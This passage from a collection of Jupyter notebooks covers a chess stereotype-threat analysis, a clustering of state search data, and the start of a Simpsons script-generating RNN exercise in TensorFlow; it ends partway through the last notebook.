wFbUZrktJfN2ZTA4i2N\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0xabfdd30c>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "fig, axes = plt.subplots(nrows=1, ncols=1, figsize=fsize)\n", "axes.errorbar(bins[:-1]+binwidth/2,yvalsMM-yvalsMM,yerr=0,fmt=fmts[2],ls=lss[2],lw=lweight,label='MM')\n", "#axes.errorbar(bins[:-1]+binwidth/2,yvalsFM-yvalsMM,yerr=y_semFMdiff*1.96,fmt='-d',ls=lss[0],lw=lweight,label='FM')\n", "axes.errorbar(bins[:-1]+binwidth/2,yvalsFM_MF,yerr=y_semFM_MFdiff*1.96,fmt=fmts[0],ls=lss[0],lw=lweight,label='FM+MF')\n", "#axes.errorbar(bins[:-1]+binwidth/2,yvalsMF-yvalsMM,yerr=y_semMFdiff*1.96,fmt='-d',ls=lss[0],lw=lweight,label='MF')\n", "axes.errorbar(bins[:-1]+binwidth/2,yvalsFF-yvalsMM,yerr=y_semFFdiff*1.96,fmt=fmts[4],ls=lss[4],lw=lweight,label='FF')\n", "axes.set_xlabel('Difference in rating \\n(White - Black, using bin size = ' + str(binwidth) + ')')\n", "axes.set_ylabel('Average score for White \\ncompared to MM pairing')\n", "axes.set_ylim([-ylimit_diff,ylimit_diff])\n", "axes.set_xlim([-650,650])\n", "\n", "fontP = FontProperties()\n", "fontP.set_size(16)\n", "legend = plt.legend(loc=0, ncol=1, bbox_to_anchor=(0, 0, 1, 1),prop = fontP,fancybox=True,shadow=False,title=titletext)\n", "plt.setp(legend.get_title(),fontsize=16)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "And calculate the number of games we are analysing" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "pair\n", "FF 343806\n", "FM 373679\n", "MF 376450\n", "MM 5612908\n", "Name: diff, dtype: int64" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" } ], "source": [ "games.groupby('pair').count()['diff']" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "N of x-gender pairings = 750129\n" ] } ], "source": [ "print \"N of x-gender pairings = \" + str(games.groupby('pair').count()['diff']['FM']+games.groupby('pair').count()['diff']['MF'])" ] }, { "cell_type": "code", "execution_count": 12, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Total N of games = 6706843\n" ] } ], "source": [ "print \"Total N of games = \" + str(sum(games.groupby('pair').count()['diff']))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Conclusion\n", "\n", "Chess games allow a quantative handle on challenge (difference in Elo rating of players), as well as a reliable measure of performance (game outcome). Our full dataset is more than 750,000 games where a woman plays a man, among a total ~6.7 million games. Across these games we find evidence that stereotype threat is not, on average, manifest in women's performance.\n", "\n", "Obviously, this does not mean that stereotype threat doesn't manifest in other domains, or does not manifest for as-yet-underdiscovered subsets of our data. It does, however, put a limit on the generalitity of the phenomenon.\n", "\n", "More analysis in our paper: _Stafford, T. (2016). No stereotype threat effect in international chess, Annual Conference of the Cognitive Science Society, 10-13th August 2016, Philadelphia, USA_ Available at [osf.io/pngyq/](https://osf.io/pngyq/), or come and talk to me at the poster - number 98, Friday, 1pm @ CogSci16" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Tom Stafford \n", "[email protected] \n", "[@tomstafford](https://twitter.com/tomstafford)\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.11+" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

Milad7m/motion

DM_03_04.ipynb

1

2590

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# IMPORT LIBRARIES" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "import pandas as pd\n", "import numpy as np\n", "from matplotlib import pyplot as plt\n", "from scipy.cluster.hierarchy import dendrogram, linkage\n", "%matplotlib inline" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# LOAD DATA\n", "## Read CSV" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "states = pd.read_csv('~/Desktop/ClusterData.csv')\n", "list(states.columns.values)" ] }, { "cell_type": "markdown", "metadata": { "collapsed": false }, "source": [ "## Save numerical data only" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "st = states[states.columns[2:]]\n", "st.index = states.ix[:,1]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# CLUSTERING\n", "## Create Linkage Matrix" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "Z = linkage(st, 'ward')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Plot Dendrogram of Clusters" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "plt.figure(figsize = (25, 10))\n", "plt.title('Cluster with All Searches and Personality')\n", "plt.ylabel('distance')\n", "dendrogram(\n", " Z,\n", " labels = st.index,\n", " leaf_rotation = 0.,\n", " leaf_font_size = 18.,\n", ")\n", "plt.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.11" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

VenkatRepaka/deep-learning

tv-script-generation/dlnd_tv_script_generation.ipynb

1

36886

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# TV Script Generation\n", "In this project, you'll generate your own [Simpsons](https://en.wikipedia.org/wiki/The_Simpsons) TV scripts using RNNs. You'll be using part of the [Simpsons dataset](https://www.kaggle.com/wcukierski/the-simpsons-by-the-data) of scripts from 27 seasons. The Neural Network you'll build will generate a new TV script for a scene at [Moe's Tavern](https://simpsonswiki.com/wiki/Moe's_Tavern).\n", "## Get the Data\n", "The data is already provided for you. You'll be using a subset of the original dataset. It consists of only the scenes in Moe's Tavern. This doesn't include other versions of the tavern, like \"Moe's Cavern\", \"Flaming Moe's\", \"Uncle Moe's Family Feed-Bag\", etc.." ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "import helper\n", "\n", "data_dir = './data/simpsons/moes_tavern_lines.txt'\n", "text = helper.load_data(data_dir)\n", "# Ignore notice, since we don't use it for analysing the data\n", "text = text[81:]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Explore the Data\n", "Play around with `view_sentence_range` to view different parts of the data." ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Dataset Stats\n", "Roughly the number of unique words: 11492\n", "Number of scenes: 262\n", "Average number of sentences in each scene: 15.251908396946565\n", "Number of lines: 4258\n", "Average number of words in each line: 11.50164396430249\n", "\n", "The sentences 0 to 10:\n", "\n", "Moe_Szyslak: (INTO PHONE) Moe's Tavern. Where the elite meet to drink.\n", "Bart_Simpson: Eh, yeah, hello, is Mike there? Last name, Rotch.\n", "Moe_Szyslak: (INTO PHONE) Hold on, I'll check. (TO BARFLIES) Mike Rotch. Mike Rotch. Hey, has anybody seen Mike Rotch, lately?\n", "Moe_Szyslak: (INTO PHONE) Listen you little puke. One of these days I'm gonna catch you, and I'm gonna carve my name on your back with an ice pick.\n", "Moe_Szyslak: What's the matter Homer? You're not your normal effervescent self.\n", "Homer_Simpson: I got my problems, Moe. Give me another one.\n", "Moe_Szyslak: Homer, hey, you should not drink to forget your problems.\n", "Barney_Gumble: Yeah, you should only drink to enhance your social skills.\n", "\n" ] } ], "source": [ "view_sentence_range = (0, 10)\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "import numpy as np\n", "\n", "print('Dataset Stats')\n", "print('Roughly the number of unique words: {}'.format(len({word: None for word in text.split()})))\n", "scenes = text.split('\\n\\n')\n", "print('Number of scenes: {}'.format(len(scenes)))\n", "sentence_count_scene = [scene.count('\\n') for scene in scenes]\n", "print('Average number of sentences in each scene: {}'.format(np.average(sentence_count_scene)))\n", "\n", "sentences = [sentence for scene in scenes for sentence in scene.split('\\n')]\n", "print('Number of lines: {}'.format(len(sentences)))\n", "word_count_sentence = [len(sentence.split()) for sentence in sentences]\n", "print('Average number of words in each line: {}'.format(np.average(word_count_sentence)))\n", "\n", "print()\n", "print('The sentences {} to {}:'.format(*view_sentence_range))\n", "print('\\n'.join(text.split('\\n')[view_sentence_range[0]:view_sentence_range[1]]))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Implement Preprocessing Functions\n", "The first thing to do to any dataset is preprocessing. Implement the following preprocessing functions below:\n", "- Lookup Table\n", "- Tokenize Punctuation\n", "\n", "### Lookup Table\n", "To create a word embedding, you first need to transform the words to ids. In this function, create two dictionaries:\n", "- Dictionary to go from the words to an id, we'll call `vocab_to_int`\n", "- Dictionary to go from the id to word, we'll call `int_to_vocab`\n", "\n", "Return these dictionaries in the following tuple `(vocab_to_int, int_to_vocab)`" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "import numpy as np\n", "import problem_unittests as tests\n", "from collections import Counter\n", "\n", "def create_lookup_tables(text):\n", " \"\"\"\n", " Create lookup tables for vocabulary\n", " :param text: The text of tv scripts split into words\n", " :return: A tuple of dicts (vocab_to_int, int_to_vocab)\n", " \"\"\"\n", " counter = Counter(text)\n", " vocab = sorted(counter, key=counter.get, reverse=True)\n", " vocab_to_int = {word: ii for ii, word in enumerate(vocab)}\n", " int_to_vocab = {ii: word for ii, word in enumerate(vocab)}\n", " return vocab_to_int, int_to_vocab\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_create_lookup_tables(create_lookup_tables)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Tokenize Punctuation\n", "We'll be splitting the script into a word array using spaces as delimiters. However, punctuations like periods and exclamation marks make it hard for the neural network to distinguish between the word \"bye\" and \"bye!\".\n", "\n", "Implement the function `token_lookup` to return a dict that will be used to tokenize symbols like \"!\" into \"||Exclamation_Mark||\". Create a dictionary for the following symbols where the symbol is the key and value is the token:\n", "- Period ( . )\n", "- Comma ( , )\n", "- Quotation Mark ( \" )\n", "- Semicolon ( ; )\n", "- Exclamation mark ( ! )\n", "- Question mark ( ? )\n", "- Left Parentheses ( ( )\n", "- Right Parentheses ( ) )\n", "- Dash ( -- )\n", "- Return ( \\n )\n", "\n", "This dictionary will be used to token the symbols and add the delimiter (space) around it. This separates the symbols as it's own word, making it easier for the neural network to predict on the next word. Make sure you don't use a token that could be confused as a word. Instead of using the token \"dash\", try using something like \"||dash||\"." ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def token_lookup():\n", " \"\"\"\n", " Generate a dict to turn punctuation into a token.\n", " :return: Tokenize dictionary where the key is the punctuation and the value is the token\n", " \"\"\"\n", " # TODO: Implement Function\n", " return {\n", " \".\": \"||period||\",\n", " \",\": \"||comma||\",\n", " \"\\\"\": \"||quotation_mark||\",\n", " \";\": \"||semicolon||\",\n", " \"!\": \"||exclamation_mark||\",\n", " \"?\": \"||question_mark||\",\n", " \"(\": \"||left_parentheses||\",\n", " \")\": \"||right_parentheses||\",\n", " \"--\": \"||dash||\",\n", " \"\\n\": \"||return||\"\n", " }\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_tokenize(token_lookup)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Preprocess all the data and save it\n", "Running the code cell below will preprocess all the data and save it to file." ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "# Preprocess Training, Validation, and Testing Data\n", "helper.preprocess_and_save_data(data_dir, token_lookup, create_lookup_tables)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Check Point\n", "This is your first checkpoint. If you ever decide to come back to this notebook or have to restart the notebook, you can start from here. The preprocessed data has been saved to disk." ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "import helper\n", "import numpy as np\n", "import problem_unittests as tests\n", "\n", "int_text, vocab_to_int, int_to_vocab, token_dict = helper.load_preprocess()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Build the Neural Network\n", "You'll build the components necessary to build a RNN by implementing the following functions below:\n", "- get_inputs\n", "- get_init_cell\n", "- get_embed\n", "- build_rnn\n", "- build_nn\n", "- get_batches\n", "\n", "### Check the Version of TensorFlow and Access to GPU" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "TensorFlow Version: 1.0.0\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "C:\\Users\\repvenk\\AppData\\Local\\conda\\conda\\envs\\tflearn\\lib\\site-packages\\ipykernel_launcher.py:14: UserWarning: No GPU found. Please use a GPU to train your neural network.\n", " \n" ] } ], "source": [ "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL\n", "\"\"\"\n", "from distutils.version import LooseVersion\n", "import warnings\n", "import tensorflow as tf\n", "\n", "# Check TensorFlow Version\n", "assert LooseVersion(tf.__version__) >= LooseVersion('1.0'), 'Please use TensorFlow version 1.0 or newer'\n", "print('TensorFlow Version: {}'.format(tf.__version__))\n", "\n", "# Check for a GPU\n", "if not tf.test.gpu_device_name():\n", " warnings.warn('No GPU found. Please use a GPU to train your neural network.')\n", "else:\n", " print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Input\n", "Implement the `get_inputs()` function to create TF Placeholders for the Neural Network. It should create the following placeholders:\n", "- Input text placeholder named \"input\" using the [TF Placeholder](https://www.tensorflow.org/api_docs/python/tf/placeholder) `name` parameter.\n", "- Targets placeholder\n", "- Learning Rate placeholder\n", "\n", "Return the placeholders in the following tuple `(Input, Targets, LearningRate)`" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def get_inputs():\n", " \"\"\"\n", " Create TF Placeholders for input, targets, and learning rate.\n", " :return: Tuple (input, targets, learning rate)\n", " \"\"\"\n", " # TODO: Implement Function\n", " inputs = tf.placeholder(tf.int32, [None, None], name=\"input\")\n", " targets = tf.placeholder(tf.int32, [None, None], name=\"targets\")\n", " rate = tf.placeholder(tf.float32, name=\"learning_rate\")\n", " return inputs, targets, rate\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_get_inputs(get_inputs)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Build RNN Cell and Initialize\n", "Stack one or more [`BasicLSTMCells`](https://www.tensorflow.org/api_docs/python/tf/contrib/rnn/BasicLSTMCell) in a [`MultiRNNCell`](https://www.tensorflow.org/api_docs/python/tf/contrib/rnn/MultiRNNCell).\n", "- The Rnn size should be set using `rnn_size`\n", "- Initalize Cell State using the MultiRNNCell's [`zero_state()`](https://www.tensorflow.org/api_docs/python/tf/contrib/rnn/MultiRNNCell#zero_state) function\n", " - Apply the name \"initial_state\" to the initial state using [`tf.identity()`](https://www.tensorflow.org/api_docs/python/tf/identity)\n", "\n", "Return the cell and initial state in the following tuple `(Cell, InitialState)`" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def get_init_cell(batch_size, rnn_size):\n", " \"\"\"\n", " Create an RNN Cell and initialize it.\n", " :param batch_size: Size of batches\n", " :param rnn_size: Size of RNNs\n", " :return: Tuple (cell, initialize state)\n", " \"\"\"\n", " # TODO: Implement Function\n", " lstm = tf.contrib.rnn.BasicLSTMCell(rnn_size)\n", " cell = tf.contrib.rnn.MultiRNNCell([lstm])\n", " initial_state = cell.zero_state(batch_size, tf.float32)\n", " initial_state = tf.identity(initial_state, name=\"initial_state\")\n", " return cell, initial_state\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_get_init_cell(get_init_cell)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Word Embedding\n", "Apply embedding to `input_data` using TensorFlow. Return the embedded sequence." ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def get_embed(input_data, vocab_size, embed_dim):\n", " \"\"\"\n", " Create embedding for <input_data>.\n", " :param input_data: TF placeholder for text input.\n", " :param vocab_size: Number of words in vocabulary.\n", " :param embed_dim: Number of embedding dimensions\n", " :return: Embedded input.\n", " \"\"\"\n", " # TODO: Implement Function\n", " embedding = tf.Variable(tf.random_uniform((vocab_size, embed_dim), -1, 1))\n", " embed = tf.nn.embedding_lookup(embedding, input_data)\n", " return embed\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_get_embed(get_embed)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Build RNN\n", "You created a RNN Cell in the `get_init_cell()` function. Time to use the cell to create a RNN.\n", "- Build the RNN using the [`tf.nn.dynamic_rnn()`](https://www.tensorflow.org/api_docs/python/tf/nn/dynamic_rnn)\n", " - Apply the name \"final_state\" to the final state using [`tf.identity()`](https://www.tensorflow.org/api_docs/python/tf/identity)\n", "\n", "Return the outputs and final_state state in the following tuple `(Outputs, FinalState)` " ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def build_rnn(cell, inputs):\n", " \"\"\"\n", " Create a RNN using a RNN Cell\n", " :param cell: RNN Cell\n", " :param inputs: Input text data\n", " :return: Tuple (Outputs, Final State)\n", " \"\"\"\n", " # TODO: Implement Function\n", " outputs, final_state = tf.nn.dynamic_rnn(cell, inputs, dtype=tf.float32)\n", " return outputs, tf.identity(final_state, name=\"final_state\")\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_build_rnn(build_rnn)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Build the Neural Network\n", "Apply the functions you implemented above to:\n", "- Apply embedding to `input_data` using your `get_embed(input_data, vocab_size, embed_dim)` function.\n", "- Build RNN using `cell` and your `build_rnn(cell, inputs)` function.\n", "- Apply a fully connected layer with a linear activation and `vocab_size` as the number of outputs.\n", "\n", "Return the logits and final state in the following tuple (Logits, FinalState) " ] }, { "cell_type": "code", "execution_count": 15, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def build_nn(cell, rnn_size, input_data, vocab_size, embed_dim):\n", " \"\"\"\n", " Build part of the neural network\n", " :param cell: RNN cell\n", " :param rnn_size: Size of rnns\n", " :param input_data: Input data\n", " :param vocab_size: Vocabulary size\n", " :param embed_dim: Number of embedding dimensions\n", " :return: Tuple (Logits, FinalState)\n", " \"\"\"\n", " # TODO: Implement Function\n", " embed = get_embed(input_data, vocab_size, embed_dim)\n", " outputs, final_state = build_rnn(cell, embed)\n", " logits = tf.contrib.layers.fully_connected(outputs, vocab_size, activation_fn=None)\n", " return logits, final_state\n", "\n", "\n", "\"\"\"\n", "DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n", "\"\"\"\n", "tests.test_build_nn(build_nn)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Batches\n", "Implement `get_batches` to create batches of input and targets using `int_text`. The batches should be a Numpy array with the shape `(number of batches, 2, batch size, sequence length)`. Each batch contains two elements:\n", "- The first element is a single batch of **input** with the shape `[batch size, sequence length]`\n", "- The second element is a single batch of **targets** with the shape `[batch size, sequence length]`\n", "\n", "If you can't fill the last batch with enough data, drop the last batch.\n", "\n", "For exmple, `get_batches([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20], 3, 2)` would return a Numpy array of the following:\n", "```\n", "[\n", " # First Batch\n", " [\n", " # Batch of Input\n", " [[ 1 2], [ 7 8], [13 14]]\n", " # Batch of targets\n", " [[ 2 3], [ 8 9], [14 15]]\n", " ]\n", "\n", " # Second Batch\n", " [\n", " # Batch of Input\n", " [[ 3 4], [ 9 10], [15 16]]\n", " # Batch of targets\n", " [[ 4 5], [10 11], [16 17]]\n", " ]\n", "\n", " # Third Batch\n", " [\n", " # Batch of Input\n", " [[ 5 6], [11 12], [17 18]]\n", " # Batch of targets\n", " [[ 6 7], [12 13], [18 1]]\n", " ]\n", "]\n", "```\n", "\n", "Notice that the last target value in the last batch is the first input value of the first batch. In this case, `1`. This is a common technique used when creating sequence batches, although it is rather unintuitive." ] }, { "cell_type": "code", "execution_count": 16, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Tests Passed\n" ] } ], "source": [ "def get_batches(int_text, batch_size, seq_length):\n", " \"\"\"\n", " Return batches of input and target\n", " :param int_text: Text with the words replaced by their 